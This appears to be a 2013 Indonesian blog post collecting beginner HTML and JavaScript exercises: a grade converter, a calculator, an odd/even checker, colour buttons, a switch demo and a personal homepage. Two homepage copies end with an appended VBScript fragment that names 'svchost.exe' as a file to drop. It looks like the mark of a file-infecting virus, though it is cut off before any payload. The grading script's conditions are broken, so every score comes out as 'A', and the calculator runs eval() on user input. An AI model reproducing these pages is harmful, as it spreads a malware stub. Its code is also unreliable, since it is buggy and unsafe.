Saturday, November 30, 2013

<html>
<head></head>
   <SCRIPT language="JavaScript">
function test () {
var val1=document.kirim.T1.value
if(val1>=0&&40)
   document.kirim.T2.value="E"
if(val1>40&&55)
   document.kirim.T2.value="D"
if(val1>55&&60)
   document.kirim.T2.value="C"
if(val1>60&&65)
   document.kirim.T2.value="BC"
if(val1>65&&70)
   document.kirim.T2.value="B"
if(val1>70&&80)
   document.kirim.T2.value="AB"
if(val1>80&&100)
   document.kirim.T2.value="A"
}
   </SCRIPT>
<body>
<form method="POST" name="kirim">
<p>NILAI ANGKA <input type="text" name="T1" size="20">
NILAI HURUF <input type="text" name="T2" size="20">
</p>
<p><input type="button" value="TEBAK" name="B1" onclick=test()>
</p>
</form>
</body>
</html>


=====================================================================


<html>
<head>
<script type="text/javascript" language="javascript">
            function tambah()
            {
                a=eval(form.a.value)
                b=eval(form.b.value)
                c=a+b
                form.hasil.value = c
            }
            function kurang()
            {
                a=eval(form.a.value)
                b=eval(form.b.value)
                c=a-b
                form.hasil.value=c
            }

            function kali()
            {
                a=eval(form.a.value)
                b=eval(form.b.value)
                c=a*b
                form.hasil.value=c
            }

            function bagi()
            {
                a=eval(form.a.value)
                b=eval(form.b.value)
                c=a/b
                form.hasil.value = c
            }
</script>
</head>
<body>
<form name="form">
<table>
<tbody>
<tr>
<td>Bil 1</td>
<td><input type="text" name="a" /></td>
</tr>
<tr>
<td>Bil 2</td>
<td><input type="text" name="b" /></td>
</tr>
<tr>
<td>Hasil</td>
<td><input type="text" name="hasil" /></td>
</tr>
<tr>
<td></td>
<td><input onClick="tambah()" type="button" value="+" />
 <input onClick="kurang()" type="button" value="-" />
 <input onClick="kali()" type="button" value="x" />
 <input onClick="bagi()" type="button" value="/" /></td>
</tr>
</tbody>
</table>
</form>
<body>
</html>

=============================================================


<html>
<head>
<title>Membuat Form Input</title>
</head> </head>
<script language="javascript">
function test (){
var val1 = document.kirim.T1.value
if (val1%2==0)
document.kirim.T2.value="bilangan genap"
else
document.kirim.T2.value="bilangan ganjil"
}
</script>
<body>
<form method="post" name="kirim">
<p>BIL<input type="text" name="T1" size="20" >
MERUPAKAN BIL <input type="text" name="T2" size="20"  >
</p>
<p> <input type="button" value="TEBAK" name="B1" onclick=test()>
</p>
</form>
</body>
</html>
================================================================

<html>
<head>
<title>Membuat Form Button</title>
</head>
<script language="javascript">
<!--
function ubahWarnaLB(warna) {
document.bgColor = warna;
}
function ubahWarnaLD(warna) {
document.fgColor = warna;
}
//--
</script>
<h1>TES BUTOOO WARNAAAA KOOOOOOO</h1>
<form>
<input type="button"
  value="Latar Belakang Hijau"
       onclick="ubahWarnaLB('GREEN')">
<input type="button"
value="Latar Belakang Merah "
        onclick="ubahWarnaLB('RED')" >
<input type="button"
value="Teks Kuning"
        onclick="ubahWarnaLD('Yellow')" >
<input type="button"
  value="Teks Biru"
        onclick="ubahWarnaLD('BLUE')" >
</form>
<script language="javascript">
<!--
document.write("Dimodifikasi terakhir pada " +
document.lastModified);
//--
</script>

<body>
</body>
</html>

=================================================================

</head>
<script language="javascript">
function test ()
{
val1=window.prompt("input Nilai (1-5):")
switch (val1)
{
case "1" :
document.write("bilangan satu")
break
case "2" :
document.write("bilangan dua")
break
case "3" :
document.write("bilangan tiga ")
break
case "4":
document.write("bilangan empat")
break
case "5":
document.write("bilangan lima ")
break
default :
document.write("bilangan lainnya ")

}
}
</script>
<body>
<input type="button" name="button1" value="swicth"
onClick=test()>
<body>
</body>
</html>

==================================================================

<html>
<head>
<title>
        Homepage Pribadi
        </title>
</head>
<body>
 <center>
 <h1>Homepage-Ku</h1>h1>
 inilah <b>Homepage </b>Pribadi-Ku <i> Yang Petama </i>
 </center>
</body>
</html><SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData =
==================================================================

<html>
<head>
<title>
        Homepage Pribadi
        </title>
</head>
<body background="Sunset.jpg">
 <center>
 <h1><marquee behavior="scroll"> Homepage-Ku </marquee></h1>
 <img width="80" height="100" src="Water lilies.jpg">
 <font size=3 face="Arial" color="blue">
 Inilah <b>Homepage </b>Pribadi-Ku <i> Yang Petama </i>
 <h2> BARAJA MAMBUEK WEB </h2>
 </font>
 </center>
 <font face="arial" size=3 color="yellow">
  <old>
    <li> Nama     : Endra Saputra
    <li> Alamat   : perum novel
    <li> Hoby     : Baca Alquran
    <li> Antahlah ndak tantu nan ka dibuek lai do
    </ol>
  </font>
</body>
</html><SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData

==================================================================

<html>
<head>
<title>
        Homepage Pribadi
        </title>
</head>
<body background="Sunset.jpg">
 <center>
 <h1><marquee behavior="scroll"> Homepage-Ku </marquee></h1>
 <img width="80" height="100" src="Water lilies.jpg">
 <font size=3 face="Arial" color="blue">
 Inilah <b>Homepage </b>Pribadi-Ku <i> Yang Petama </i>
 <h2> BARAJA MAMBUEK WEB </h2>
 </font>
 </center>
 <font face="arial" size=3 color="yellow">
  <old>
    <li> Nama     : Endra Saputra
    <li> Alamat   : perum Novel central abadi
    <li> Hoby     : traveling
    <li> Antahlah ndak tantu nan ka dibuek lai do
    </ol>
  </font>
</body>
</html>